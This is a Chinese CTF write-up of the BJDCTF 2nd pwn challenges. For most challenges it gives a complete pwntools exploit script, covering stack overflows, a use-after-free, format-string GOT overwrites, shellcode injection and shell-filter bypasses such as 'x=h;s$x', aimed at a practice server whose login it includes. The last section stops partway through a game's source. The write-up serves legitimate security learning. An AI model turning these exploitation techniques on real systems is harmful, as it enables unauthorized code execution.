BJDCTF_2nd PWN复盘

目录

    • r2t3
    • one_gadget
    • ydsneedgirlfriend2
    • r2t4
    • test
    • secret
        • 方法一
        • 方法二
    • snake_dyn
    • snake2_dyn
    • diff
    • rci
    • els

r2t3

BJDCTF_2nd PWN复盘_第1张图片
BJDCTF_2nd PWN复盘_第2张图片
在name_check函数中有一个strcpy,看起来是溢出的机会,但是前面判断了长度,这里在汇编下才能发现漏洞
BJDCTF_2nd PWN复盘_第3张图片
即只要长度超过255就会溢出
Exp:

from pwn import *

r = remote("node3.buuoj.cn", 29302)
elf = ELF("./BJDCTF_2nd_r2t3")
system = elf.plt['system']
bin_sh = 0x08048760
print r.recvuntil("[+]Please input your name:\n")
payload = 'a' * 0x15 + p32(system) * 2 + p32(bin_sh)
payload = payload.ljust(260, 'a')
r.sendline(payload)
r.interactive()

one_gadget

BJDCTF_2nd PWN复盘_第4张图片
题目给了printf的地址,根据其算出libc基地址然后计算one_gadget的地址,发送即可
BJDCTF_2nd PWN复盘_第5张图片

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 25695)
libc = ELF("./libc/libc-2.29.so")
print r.recvuntil("here is the gift for u:")
printf = int(r.recvuntil('\n').strip(), 16)
success("printf:"+hex(printf))
libc_base = printf - libc.sym['printf']
one_gadget = libc_base + 0x106ef8
payload = str(one_gadget)
r.sendline(payload)
r.interactive()

ydsneedgirlfriend2

BJDCTF_2nd PWN复盘_第6张图片
这题是UAF漏洞
BJDCTF_2nd PWN复盘_第7张图片
使用了函数指针
在这里插入图片描述
利用UAF修改为后门函数再调用show即可
Exp:

from pwn import *

def add(size, content):
	print r.recvuntil("u choice :\n")
	r.sendline('1')
	print r.recvuntil("Please input the length of her name:\n")
	r.sendline(str(size))
	print r.recvuntil("Please tell me her name:\n")
	r.send(content)

def delete(index):
	print r.recvuntil("u choice :\n")
	r.sendline('2')
	print r.recvuntil("Index :")
	r.sendline(str(index))

def show(index):
	print r.recvuntil("u choice :\n")
	r.sendline('3')
	print r.recvuntil("Index :")
	r.sendline(str(index))


r = remote("node3.buuoj.cn", 28148)
system = 0x400D86

add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p64(system) * 2
add(0x10, payload)
show(0)
r.interactive()

r2t4

BJDCTF_2nd PWN复盘_第8张图片
有格式化字符串漏洞,有canary,似乎难以溢出
可以把___stack_chk_fail的got改了
不过这题的payload长度超过0x28(40)就会破坏canary
所以payload长度一定要大于40

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 26346)
#r = process("./BJDCTF_2nd_r2t4")
elf = ELF("./BJDCTF_2nd_r2t4")
libc = ELF("./libc/libc-2.29.so")
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x40069C
	c
	''')
target = elf.got['__stack_chk_fail']
system = 0x400626
num1 = (system >> 16)
num2 = (system & 0xFFFF) - num1
payload = '%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%10$hn'
payload = payload.ljust(24, 'a') + p64(target+2) + p64(target) + 'a' * 17
r.sendline(payload)
r.interactive()

test

这题或许考察的是对Linux命令的掌握
源代码如下

//test.c
#include 
#include 
#include 

int main(){
    char cmd[0x100] = {0};
    puts("Welcome to Pwn-Game by TaQini.");
    puts("Your ID:");
    system("id");
    printf("$ ");
    gets(cmd);
    if( strstr(cmd, "n")
       ||strstr(cmd, "e")
       ||strstr(cmd, "p")
       ||strstr(cmd, "b")
       ||strstr(cmd, "u")
       ||strstr(cmd, "s")
       ||strstr(cmd, "h")
       ||strstr(cmd, "i")
       ||strstr(cmd, "f")
       ||strstr(cmd, "l")
       ||strstr(cmd, "a")
       ||strstr(cmd, "g")
       ||strstr(cmd, "|")
       ||strstr(cmd, "/")
       ||strstr(cmd, "$")
       ||strstr(cmd, "`")
       ||strstr(cmd, "-")
       ||strstr(cmd, "<")
       ||strstr(cmd, ">")
       ||strstr(cmd, ".")){
        exit(0);    
    }else{
        system(cmd);
    }
    return 0;
}

可以看到许多命令被过滤了
我们使用以下两条指令查看可以使用的治理

env $PATH
ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games /usr/local/games | grep -v -E ' n|e|p|b|u|s|h|i|f|l|a|g'

BJDCTF_2nd PWN复盘_第9张图片
这题有两种办法:

  1. 执行命令x86_64,然后cat flag
  2. 使用od *获取flag的八进制形式,然后转为str
    脚本如下
od = [066146,063541,030573,030064,062461,061143,026545,033544,0000020,060541,032055,062063,026543,034071, 061460, 032455, 030465, 0000040, 031465, 061541, 062060, 063144, 076546, 077412, 046105]
flag = ""

for i in od:
    tmp = hex(i)[2:]
    flag += tmp.decode('hex')[::-1]
print flag

secret

BJDCTF_2nd PWN复盘_第10张图片
这题同样有两个办法
程序逻辑就是要你猜数字,正常情况下猜对10000次给flag

方法一

利用idapython读出所有数字,发送一万次
idapython脚本如下

import idc, idaapi, idautils


guess_addr = 0x46A329
secrets = []
def get_secret():
	f = open("secrets.txt", "w")
	all = idautils.CodeRefsTo(guess_addr, 1)
	for addr in all:
		next = idc.NextHead(addr)
		next = idc.NextHead(next)
		secret = idc.GetOpnd(next, 1)
		secret = secret[:-1]
		if len(secret) == 0:
			continue
		secret = int(secret, 16)
		f.write(str(secret)+'\n')
		
		
	f.close()


if __name__ == "__main__":
    get_secret()

Exp如下:

from pwn import *

r = remote("node3.buuoj.cn", 26527)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x401368
	c
	p exit
	''')
payload = 'a'	#'a' * 0x10 + '\xd0' + '\x10' + '\x40' + '\n'
r.send(payload)
sleep(2)

f = open("secrets.txt", "r")
for i in range(10000):
	num = f.readline().strip()
	print r.recvuntil("Secret:")
	r.sendline(num)
f.close()
r.sendline('1')
r.interactive()

当然这样做很费时间

方法二

BJDCTF_2nd PWN复盘_第11张图片
在这里插入图片描述
buf处有一个缓冲区溢出
BJDCTF_2nd PWN复盘_第12张图片
每猜对一次,0x46D090中的数据作为地址的数据就会建减一
如果游戏失败,则会触发下面这个函数
BJDCTF_2nd PWN复盘_第13张图片
此外,我们发现printf的plt地址和system很接近
BJDCTF_2nd PWN复盘_第14张图片
所以,我们可以先把0x46D090改成printf的got地址,然后猜15次,然后输入错误的数字来结束,即可
Exp如下:

from pwn import *

r = remote("node3.buuoj.cn", 28077)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x401368
	c
	p exit
	''')
payload = '/bin/sh\x00'.ljust(0x10, 'a') + '\x40' + '\xD0' + '\x46' + '\n'
r.send(payload)
sleep(2)

f = open("secrets.txt", "r")
for i in range(0xF):
	num = f.readline().strip()
	print r.recvuntil("Secret:")
	r.sendline(num)
f.close()
r.sendline('1')
r.interactive()

snake_dyn

登录密码可以直接用微信扫出来
游戏源代码如下

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define high 20
#define wide 30

#define up 1
#define down 2
#define left 3
#define right 4

// void setIO(unsigned int flag) {
//     if(flag)
//         system("stty cbreak -echo");
//     else
//         system("stty cooked echo");
// }

void StringReplace(char *buf, char src, char dest){
    char *p = buf;
    while(*p){
        if(p[0]==src){
            p[0]=dest;
        }
        p++;
    }
}

unsigned int score  = 0;
unsigned int Level = 1;
unsigned int direction = 1;
unsigned int IsEat=0;
unsigned int FoodH=5,FoodW=10;
char Name[0x100];
char flag[0x1000];
unsigned int flag_pos = 0;

char Picture[high][wide];

typedef struct snake{
    unsigned int x;
    unsigned int y;
    struct snake* next;
}Node,*PSnake;

PSnake Init() {
    printf("SnakeMake start!\n");
    unsigned int len=5;
    PSnake head=(PSnake)malloc(sizeof(Node));
    if(head == NULL)
    printf("Snake head make failed!\n");
    head->x=wide/2;
    head->y=high/2+5;
    head->next=NULL;

    unsigned int i=0;
    for(;i<5;i++) {
        PSnake P=(PSnake)malloc(sizeof(Node));
        if(P==NULL) {
            printf("Snake is dead!\n");
            break;
        }
        P->x=wide/2;
        P->y=high/2-i+4;
        P->next=head;
        head=P;
    }
    printf("Snake is alive!\n");
    return head;
}

PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {
    PSnake p=(PSnake)malloc(sizeof(Node));
    if(p==NULL) {
        printf("New head make failed!");
    }
    p->x = x;
    p->y = y;
    p->next=snake;
    score += 1;
    return p;
}

void Walk(unsigned int x,unsigned int y,PSnake snake) {
    PSnake p=snake;
    unsigned int a,b, c=x, d=y;
    while(p!=NULL) {
        a=p->x;
        b=p->y;
        p->x = c;
        p->y = d;
        c=a;
        d=b;
        p=p->next;
    }
}

unsigned int Serch(unsigned int x,unsigned int y,PSnake snake) {
    PSnake q=snake->next;
    while(q!= NULL) {
        if( ( (q->x) == x ) && ( (q->y) == y ) )
        return 1;
        q=q->next;
    }
    return 0;
}

void WriteSnake(PSnake snake) {
    PSnake   p=snake;
    while(p != NULL) {
        Picture[p->y][p->x]=flag[flag_pos%0xC];
        p=p->next;
    }
}

void Paint(void) {
    unsigned int y=high,x=wide,i,j;
    for(i=0; i<y; i++)
    for(j=0; j<x; j++)
    Picture[i][j]=' ';
}

static unsigned int cnt=1;
void Print(char* p,unsigned int score,unsigned int Lev) {
    unsigned int a=high,b=wide,i=0,j;
    printf("\033c");
    system("stty -icanon");       // 关缓冲
    system("stty -echo");         // 关回显
    printf("\033[?25l");          // 关闭鼠标显示
    printf("游戏开始!! 移动次数: %d !\n",cnt);
    cnt++;
    printf("玩家:%s得分:%d\t\t\t\t等级:%d \n",p,score*100,Lev);
    while(i<b*2+2) {
        printf("\033[30;47m \033[0m");
        i++;
    }
    printf("\n");
    for (i=0; i<a; i++) {
        printf("\033[30;47m \033[0m");
        for(j=0; j<b; j++) {
            if(Picture[i][j]!=' '){
                printf("\033[31;42m%c \033[0m",Picture[i][j]);
            }else{
                printf("\033[40m%c \033[0m",Picture[i][j]);
            }
        }
        printf("\033[30;47m \033[0m");
        printf("\n");
    }
    for(i=0;i<=b*2+1;i++) {
        printf("\033[30;47m \033[0m");
    }
    printf("\n");
    if (score < 12){
        printf("\033[30;47m------勤劳的饲养员TaQini正在拿他的心爱的flag喂Imagin----------\033[0m\n");
    }else if (score < 23){
        printf("\033[30;47m------这家伙太贪吃了。TaQini决定不再喂他新的flag了------------\033[0m\n");
    }else if (score < 30){
        printf("\033[30;47m------加油!加油!3000分!!flag就在前方!冲鸭!!!----------\033[0m\n");
    }else{
        printf("\033[30;47m------他可真是一条爱运动的蛇呢!说什么每天必须走够2333步?----\033[0m\n");
    }
        printf("\033[30;47m                                                              \033[0m\n");
}

unsigned int MakeFood(void) {
    static unsigned int MC=0;

    while(1) {
        if(MC > ((high * wide)/2 ) )
        return 0;
        srand((int)time(0));
        FoodH=rand()%high;
        FoodW=rand()%wide;
        if(Picture[FoodH][FoodW] == ' ')
        break;
    }

    MC++;
    return 1;
}

PSnake MakeMove(PSnake s) {
    unsigned int x,y;
    PSnake p=s;
    x=s->x,y=s->y;

    if(direction == up)
        y = y - 1;
    if(direction == down)
        y = y + 1;
    if(direction == right)
        x = x + 1;
    if(direction == left)
        x = x - 1;

    if( (y>(high-1)) || ((y<0)) || ((x)<0) || (x>(wide-1)) ) {
        printf("x=%d y=%d s.x=%d s.y=%d \n",x,y,s->x,s->y);
        printf("The snake break the wall!");
        return NULL;
    }

    if(Serch(x,y,s)) {
        printf("x=%d y=%d \n",x,y);
        while(p != NULL) {
            printf("p->x= %d p->y= %d \n",p->x,p->y);
            p=p->next;
        }
        printf("Your snake eat itsself!");
        return NULL;
    }

    if( (x==FoodW) && (y==FoodH) ) {
        s=Eat(x,y,s);
        IsEat=1;
    }

    else {
        Walk(x,y,s);
    }
    return s;
}

unsigned int kbhit(void) {
    struct timeval tv;
    fd_set rdfs;
    tv.tv_sec = 0;
    tv.tv_usec = 0;
    FD_ZERO(&rdfs);
    FD_SET(STDIN_FILENO,&rdfs);
    select(STDIN_FILENO+1,&rdfs,NULL,NULL,&tv);
    return FD_ISSET(STDIN_FILENO,&rdfs);
}

void InputCTL(unsigned int level) {
    unsigned int Dir=direction;
    unsigned int timeUse;
    struct timeval start,end;
    gettimeofday(&start,NULL);
    // setIO(1);
    char c,n;
    while(1) {
        gettimeofday(&end,NULL);
        timeUse = 1000000*(end.tv_sec - start.tv_sec) + end.tv_usec - start.tv_usec;
        if(timeUse > 1000000 - level*100000)
            break;
        if(kbhit())
            c=getchar();
    }
    // setIO(0);
    if( c == 'w') {
        Dir=1;
    }
    else if( c == 's') {
        Dir=2;
    }
    else if( c == 'a') {
        Dir=3;
    }
    else if( c == 'd') {
        Dir=4;
    }
    else;

    if(!(((Dir == 1) && (direction == down) ) || ((Dir == 2) && (direction == up))
        || ((Dir == 3) && (direction == right)) || ((Dir == 4) && (direction == left)))){
        direction = Dir;
    }
}

unsigned int CheckLevel(unsigned int score) {
    static unsigned int change=0;
    if(((score - change) >= 3) && (Level < 9) ) {
        Level ++;
        change += 3;
    }
    return Level;
}

void printRule(void){
    printf("\033c");
    printf("游戏说明:\n");
    printf("  0.您将操控一条名为Imagin的蛇进行游戏\n");
    printf("  1.每300分升级一次并提速,最高等级为⑨\n");
    printf("  2.Imagin这家伙素来十分挑食,专吃flag\n");
    printf("  3.吃够3000分,饲养员TaQini将奖励您shell一个\n\n");
    printf("按键说明:\n");
    printf("  \033[31;47m  a - 左    d - 右  \033[0m\n");
    printf("  \033[31;47m  w - 上    s - 下  \033[0m\n\n");
    printf("获胜条件:\n");
    printf("  \033[31;47m Capture TaQini's flag \033[0m\n");
    printf("  \033[31;47m    拿到TaQini的flag   \033[0m\n");
    printf("途径1:\n");
    printf("  控制Imagin吃豆豆,达到3000分\n");
    printf("途径2:\n");
    printf("  用你善于发现的眼睛,找到游戏中的小bug\n\n");
    // printf("小提示:\n");
    // printf("- 蛇身花纹会根据吃的食物改变哦\n\n");
}

void GiveAwards(){
    system("/bin/sh");    
}

void getName(){
    char buf[0x100];
    printf("请输入玩家昵称(仅限英文)[按回车开始游戏]:");
    scanf("%s",buf);
    strncpy(Name, buf, 0x100);
}

void GameRun(void) {
    unsigned int GameState=1;
    score=0;
    Level=1;
    printRule();
    getName();

    PSnake jack=Init();
    PSnake p=jack;

    while(GameState) {
        Paint();
        WriteSnake(jack);

        if(IsEat) {
            if(MakeFood()){
                IsEat=0;
                flag_pos ++;
            }
        }
        // 投食
        Picture[FoodH][FoodW]=flag[(flag_pos+1)%0xC];

        Print(Name,score,CheckLevel(score));
        InputCTL(Level);
        jack = MakeMove(jack);

        if( jack == NULL ) {
            GameState=0;
            printf("\033c");
            system("stty icanon");          // 恢复缓冲
            system("stty echo");            // 恢复回显
            printf("\033[?25h");            // 恢复鼠标显示
            printf("Game Over!\n");
        }

        // 奖励shell
        if( score >= 30 && cnt > 2333){
            GameState=0;
            printf("\033c");
            system("stty icanon");          // 恢复缓冲
            system("stty echo");            // 恢复回显
            printf("\033[?25h");            // 恢复鼠标显示
            GiveAwards();
        }
    }
}

unsigned int main(void) {
    setvbuf(stdin,0,1,0);
    setvbuf(stdout,0,2,0);
    // 打开 flag 文件 喂蛇
    unsigned int fd = open("flag",O_RDONLY);
    read(fd,flag,1000);
    StringReplace(flag,'\n','*');
    GameRun();
    return 0;
}

看到name和flag离的很近
在这里插入图片描述
而在getName函数中使用了strncpy,如果我们的输入大于0x100,结尾的\x00就没能被拷贝到Name中,从而可以读出flag
BJDCTF_2nd PWN复盘_第15张图片
Exp:

from pwn import *

s = ssh(host='node3.buuoj.cn',user='ctf',password='sNaKes',port=29816)
p = s.process('/home/ctf/snake')
payload = 'a' * 0x100
p.sendline(payload)
p.interactive()

当然了这题也可以通过玩游戏到3000分并且步数达到2333获取shell得到flag

snake2_dyn

BJDCTF_2nd PWN复盘_第16张图片

//snake.c
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define high 20
#define wide 30

#define up 1
#define down 2
#define left 3
#define right 4

// void setIO(unsigned int flag) {
//     if(flag)
//         system("stty cbreak -echo");
//     else
//         system("stty cooked echo");
// }

void StringReplace(char *buf, char src, char dest){
    char *p = buf;
    while(*p){
        if(p[0]==src){
            p[0]=dest;
        }
        p++;
    }
}

unsigned int score  = 0;
unsigned int Level = 1;
unsigned int direction = 1;
unsigned int IsEat=0;
unsigned int FoodH=5,FoodW=10;
char Name[0x100];
char flag[0x1000];
unsigned int flag_pos = 0;
char Picture[high][wide];

typedef struct snake{
    unsigned int x;
    unsigned int y;
    struct snake* next;
}Node,*PSnake;

PSnake Init() {
    printf("SnakeMake start!\n");
    unsigned int len=5;
    PSnake head=(PSnake)malloc(sizeof(Node));
    if(head == NULL)
    printf("Snake head make failed!\n");
    head->x=wide/2;
    head->y=high/2+5;
    head->next=NULL;

    unsigned int i=0;
    for(;i<5;i++) {
        PSnake P=(PSnake)malloc(sizeof(Node));
        if(P==NULL) {
            printf("Snake is dead!\n");
            break;
        }
        P->x=wide/2;
        P->y=high/2-i+4;
        P->next=head;
        head=P;
    }
    printf("Snake is alive!\n");
    return head;
}

PSnake Eat(unsigned int x,unsigned int y,PSnake snake) {
    PSnake p=(PSnake)malloc(sizeof(Node));
    if(p==NULL) {
        printf("New head make failed!");
    }
    p->x = x;
    p->y = y;
    p->next=snake;
    score += 1;
    return p;
}

void Walk(unsigned int x,unsigned int y,PSnake snake) {
    PSnake p=snake;
    unsigned int a,b, c=x, d=y;
    while(p!=NULL) {
        a=p->x;
        b=p->y;
        p->x = c;
        p->y = d;
        c=a;
        d=b;
        p=p->next;
    }
}

unsigned int Serch(unsigned int x,unsigned int y,PSnake snake) {
    PSnake q=snake->next;
    while(q!= NULL) {
        if( ( (q->x) == x ) && ( (q->y) == y ) )
        return 1;
        q=q->next;
    }
    return 0;
}

void WriteSnake(PSnake snake) {
    PSnake   p=snake;
    while(p != NULL) {
        Picture[p->y][p->x]=flag[flag_pos%1000];
        p=p->next;
    }
}

void Paint(void) {
    unsigned int y=high,x=wide,i,j;
    for(i=0; i<y; i++)
    for(j=0; j<x; j++)
    Picture[i][j]=' ';
}

static unsigned int cnt=1;
void Print(char* p,unsigned int score,unsigned int Lev) {
    unsigned int a=high,b=wide,i=0,j;
    printf("\033c");
    system("stty -icanon");       // 关缓冲
    system("stty -echo");         // 关回显
    printf("\033[?25l");          // 关闭鼠标显示
    printf("游戏开始!! 移动次数: %d !\n",cnt);
    cnt++;
    printf("玩家:%s得分:%d\t\t\t\t等级:%d \n",p,score*100,Lev);
    while(i<b*2+2) {
        printf("\033[30;47m \033[0m");
        i++;
    }
    printf("\n");
    for (i=0; i<a; i++) {
        printf("\033[30;47m \033[0m");
        for(j=0; j<b; j++) {
            if(Picture[i][j]!=' '){
                printf("\033[31;42m%c \033[0m",Picture[i][j]);
            }else{
                printf("\033[40m%c \033[0m",Picture[i][j]);
            }
        }
        printf("\033[30;47m \033[0m");
        printf("\n");
    }
    for(i=0;i<=b*2+1;i++) {
        printf("\033[30;47m \033[0m");
    }
    printf("\n");
    if (score < 5){
        printf("\033[30;47m------勤劳的饲养员TaQini正在拿他的加长版flag喂Imagin----------\033[0m\n");
    }else{
        printf("\033[30;47m------Imagin已经吃了%6d分了!300000分还会远么?------------\033[0m\n",score*100);
    }
        printf("\033[30;47m                                                              \033[0m\n");
}

unsigned int MakeFood(void) {
    static unsigned int MC=0;

    while(1) {
        if(MC > ((high * wide)/2 ) )
        return 0;
        srand((int)time(0));
        FoodH=rand()%high;
        FoodW=rand()%wide;
        if(Picture[FoodH][FoodW] == ' ')
        break;
    }

    MC++;
    return 1;
}

PSnake MakeMove(PSnake s) {
    unsigned int x,y;
    PSnake p=s;
    x=s->x,y=s->y;

    if(direction == up)
        y = y - 1;
    if(direction == down)
        y = y + 1;
    if(direction == right)
        x = x + 1;
    if(direction == left)
        x = x - 1;

    if( (y>(high-1)) || ((y<0)) || ((x)<0) || (x>(wide-1)) ) {
        printf("x=%d y=%d s.x=%d s.y=%d \n",x,y,s->x,s->y);
        printf("The snake break the wall!");
        return NULL;
    }

    if(Serch(x,y,s)) {
        printf("x=%d y=%d \n",x,y);
        while(p != NULL) {
            printf("p->x= %d p->y= %d \n",p->x,p->y);
            p=p->next;
        }
        printf("Your snake eat itsself!");
        return NULL;
    }

    if( (x==FoodW) && (y==FoodH) ) {
        s=Eat(x,y,s);
        IsEat=1;
    }

    else {
        Walk(x,y,s);
    }
    return s;
}

unsigned int kbhit(void) {
    struct timeval tv;
    fd_set rdfs;
    tv.tv_sec = 0;
    tv.tv_usec = 0;
    FD_ZERO(&rdfs);
    FD_SET(STDIN_FILENO,&rdfs);
    select(STDIN_FILENO+1,&rdfs,NULL,NULL,&tv);
    return FD_ISSET(STDIN_FILENO,&rdfs);
}

void InputCTL(unsigned int level) {
    unsigned int Dir=direction;
    unsigned int timeUse;
    struct timeval start,end;
    gettimeofday(&start,NULL);
    // setIO(1);
    char c,n;
    while(1) {
        gettimeofday(&end,NULL);
        timeUse = 1000000*(end.tv_sec - start.tv_sec) + end.tv_usec - start.tv_usec;
        if(timeUse > 1000000 - level*100000)
            break;
        if(kbhit())
            c=getchar();
    }
    // setIO(0);
    if( c == 'w') {
        Dir=1;
    }
    else if( c == 's') {
        Dir=2;
    }
    else if( c == 'a') {
        Dir=3;
    }
    else if( c == 'd') {
        Dir=4;
    }
    else;

    if(!(((Dir == 1) && (direction == down) ) || ((Dir == 2) && (direction == up))
        || ((Dir == 3) && (direction == right)) || ((Dir == 4) && (direction == left)))){
        direction = Dir;
    }
}

unsigned int CheckLevel(unsigned int score) {
    static unsigned int change=0;
    if(((score - change) >= 3) && (Level < 9) ) {
        Level ++;
        change += 3;
    }
    return Level;
}

void printRule(void){
    printf("\033c");
    printf("游戏说明:\n");
    printf("  0.您将操控一条名为Imagin的蛇进行游戏\n");
    printf("  1.每300分升级一次并提速,最高等级为⑨\n");
    printf("  2.不知怎的,挑食的Imagin突然饭量猛增!\n");
    printf("  3.吃够300000分,饲养员TaQini将奖励您shell一个\n\n");
    printf("按键说明:\n");
    printf("  \033[31;47m  a - 左    d - 右  \033[0m\n");
    printf("  \033[31;47m  w - 上    s - 下  \033[0m\n\n");
    printf("获胜条件:\n");
    printf("  \033[31;47m Capture TaQini's flag \033[0m\n");
    printf("  \033[31;47m    拿到TaQini的flag   \033[0m\n");
    printf("途径1:\n");
    printf("  控制Imagin吃豆豆,达到300000分\n");
    printf("途径2:\n");
    printf("  用你善于发现的眼睛,找到游戏中的小bug\n\n");
    // printf("小提示:\n");
    // printf("- 蛇身花纹会根据吃的食物改变哦\n\n");
}

void GiveAwards(){
    system("/bin/sh");    
}

void getName(){
    char buf[0x100];
    printf("请输入玩家昵称(仅限英文)[按回车开始游戏]:");
    scanf("%s",buf);
    strncpy(Name, buf, 0x10);
}

void questionnaire(void){
    int Goal;
    char Answer[0x20];
    puts("你收到了一份来自TaQini的调查问卷");
    printf("1.Snake系列游戏中,贪吃蛇的名字是:");
    scanf("%20s",Answer);
    printf("2.Pwn/Game真好玩儿[Y/n]:");
    scanf("%20s",Answer);
    printf("3.你目标的分数是:");
    scanf("%d",Goal);
}

void GameRun(void) {
    unsigned int GameState=1;
    score=0;
    Level=1;
    printRule();
    getName();
    questionnaire();

    PSnake jack=Init();
    PSnake p=jack;
    
    while(GameState) {
        Paint();
        WriteSnake(jack);

        if(IsEat) {
            if(MakeFood()){
                IsEat=0;
                flag_pos ++;
            }
        }
        // 投食
        Picture[FoodH][FoodW]=flag[(flag_pos+1)%1000];

        Print(Name,score,CheckLevel(score));
        InputCTL(Level);
        jack = MakeMove(jack);

        if( jack == NULL ) {
            GameState=0;
            printf("\033c");
            system("stty icanon");          // 恢复缓冲
            system("stty echo");            // 恢复回显
            printf("\033[?25h");            // 恢复鼠标显示
            printf("Game Over!\n");
        }

        // 奖励shell
        if( score >= 3000 ){
            GameState=0;
            printf("\033c");
            system("stty icanon");          // 恢复缓冲
            system("stty echo");            // 恢复回显
            printf("\033[?25h");            // 恢复鼠标显示
            GiveAwards();
        }
    }
}

unsigned int main(void) {
    setvbuf(stdin,0,1,0);
    setvbuf(stdout,0,2,0);
    // 打开 flag 文件 喂蛇
    unsigned int fd = open("flag",O_RDONLY);
    read(fd,flag,1000);
    StringReplace(flag,'\n','*');
    GameRun();
    return 0;
}

这题需要玩到30000分才能获得shell,基本是不可能的,只能需要程序的漏洞了
BJDCTF_2nd PWN复盘_第17张图片
注意到,问卷函数中Goal没有加取地址符&,并且这两个函数都是在GameRun中被调用的,所以我们可以在输入名字的时候把想要修改的地址留在栈上,当问卷函数被调用时,Goal的值就变成想要修改的地址来实现任意内存写
比如,把malloc的got表改为GiveAwards()
Exp:

from pwn import *

s = ssh(host='node3.buuoj.cn',user='ctf',password='sNaKes',port=25119)
p = s.process('/home/ctf/snake')
name = 0x00405380
malloc_got = 0x405078
system = 0x401CF4
payload = 'a' * (0x110 - 0x34) + p32(malloc_got)
p.sendline(payload)
p.sendline('a')
p.sendline('a')
p.sendline(str(system))
p.interactive()

打开flag之后居然是一个二维码…
BJDCTF_2nd PWN复盘_第18张图片
用微信离远一点可以扫出

diff

BJDCTF_2nd PWN复盘_第19张图片
程序逻辑大致为打开两个文件并输出不同的行
在compare函数中存在一个溢出
BJDCTF_2nd PWN复盘_第20张图片
所以我们把payload放在第一个文件里,并在第二个文件中利用溢出跳转控制流到payload
Exp:

from pwn import *

context(arch = 'i386', os = 'linux')
file1 = open("/tmp/diff/file1", "w")
payload = asm(shellcraft.sh())
file1.write(payload)
file1.close()

addr = 0x0804A024
file2 = open("/tmp/diff/file2", "w")
payload = 'a' * 0x7c + p32(addr)
file2.write(payload)
file2.close()
pause()

s = ssh(host='node3.buuoj.cn',user='ctf',password='guest',port=25145)
s.interactive()

当Exp暂停时:

scp -P 25145  /tmp/diff/file1 ctf@node3.buuoj.cn:/tmp
scp -P 25145  /tmp/diff/file2 ctf@node3.buuoj.cn:/tmp

在远程机器上运行:

./diff /tmp/file1 /tmp/file2

rci

程序可以执行两次system,两次的过滤分别如下
BJDCTF_2nd PWN复盘_第21张图片
BJDCTF_2nd PWN复盘_第22张图片
在第一次可以执行system时,sh的工作目录位于/tmp下一个随机的文件夹,利用ls -ali查看所有文件的信息

-a 显示所有文件
-l 显示详细信息
-i 显示inode

得到当前工作文件夹的inode之后,重开一个shell,使用ls -ali /tmp筛查出到底位于哪个文件夹之下

BJDCTF_2nd PWN复盘_第23张图片
在这里插入图片描述
输入该文件
参考EDS大佬的WP,利用拼接获取shell

BJDCTF_2nd PWN复盘_第24张图片
看了TaQiNi大佬的博客后,发现也可以用下面这个办法:

x=h;s$x

els

BJDCTF_2nd PWN复盘_第25张图片
保护全开,由于无法修改GOT表

//main.c
/*************************************************
 * name: main
 * 功能:实现俄罗斯方块小游戏
 * 编写人:王廷云
 * 编写日期:2018-3-21
 * 最近更新日期:2019-7-3
 * 魔改人:TaQini 
 * 最近魔改日期:2020-3-13
**************************************************/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include "data.h"

#define   ROW    21     // 游戏区域的行数
#define   COL    18     // 游戏区域的列数

/* 按键枚举 */
enum key {
   DOWN,                // 上
   LEFT,                // 左
   RIGHT,               // 右
   CHANGE,              // 变化
   STOP,                // 停止
   EXIT,                // 退出
   UNKNOW,              // 未知
};

/***** 函数声明区域 ******/
void initalGameArea(void);                  // 初始化游戏区域
void drawBlock(char bl[NR][NR]);            // 画方块
void cleanBlock(char bl[NR][NR]);           // 清除方块
void turnBlock(char bl[NR][NR]);            // 旋转方块
void gameEnd(void);                         // 结束游戏
void gameStop(void);                        // 暂停游戏
void showGame(void);                        // 显示游戏
void gameSelf(int signo);                   // 游戏自动运行
void checkDeleteLine(void);                 // 检查是否满一行
void checkGameOver(char bl[NR][NR]);        // 检查是否游戏结束
int  checkMove(char bl[NR][NR], int flag);  // 检查方块是否可移动
int  getInput(void);                        // 获取输入

/* 全局变量区域 */
static char gameArea[ROW][COL] = {0};       // 游戏区域数据
static int startX = 7, startY = 6;          // 方块出现的起始位置
static int type = 0;                        // 方块当前类型
static int nextType = 0;                    // 方块的下一种类型
static int diret = 0;                       // 方块的方向
char *state = "\033[32m游戏中...\033[0m";    // 游戏运行状态
static unsigned int level = 0;              // 游戏等级
static unsigned int score = 0;              // 游戏分数
static unsigned int maxScore = 0;           // 游戏最高记录
static FILE *fp = NULL;                     // 用于把记录保存到文件
static FILE *fmsg = NULL;                   // 用于打开留言文件

/*
 * 主函数:控制全局流程
*/
int main(void)
{
    /* 读取文件的最高记录 */
    fp = fopen("./record","r+");
    if (NULL == fp)
    {
        /*
         * 文件不存在则创建并打开 
         * "w"方式打开会自动创建不存在的文
         */
        fp = fopen("./record","w");
    }
    fscanf(fp,"%u",&maxScore);

    if(maxScore > 666666)
    {
        puts("干的漂亮!奖励鹅罗狮高手shell一个!");
        system("/bin/sh");
        exit(0);
    }

    /*
     * 设置闹钟:
     * 当前时间间隔为0.7秒,下一次时间间隔为0.7秒
    */
    struct itimerval  timer = {{0,700000},{0,700000}};
    setitimer(ITIMER_REAL, &timer,NULL);

    /* 初始化游戏区域 */
    initalGameArea();

    /* 设置游戏信号 */
    signal(SIGALRM, gameSelf);

    /* 初始化方块类型 */
    srand(time(NULL));
    type     = rand()%7;
    nextType = rand()%7;

    /* 用户操作 */
    int key;
    while (1)
    {
        key = getInput();
        switch (key)
        {
            case RIGHT : checkMove(bl[type][diret],RIGHT);
                         break;
            case LEFT  : checkMove(bl[type][diret],LEFT);
                         break;
            case DOWN  : checkMove(bl[type][diret],DOWN);
                         break;
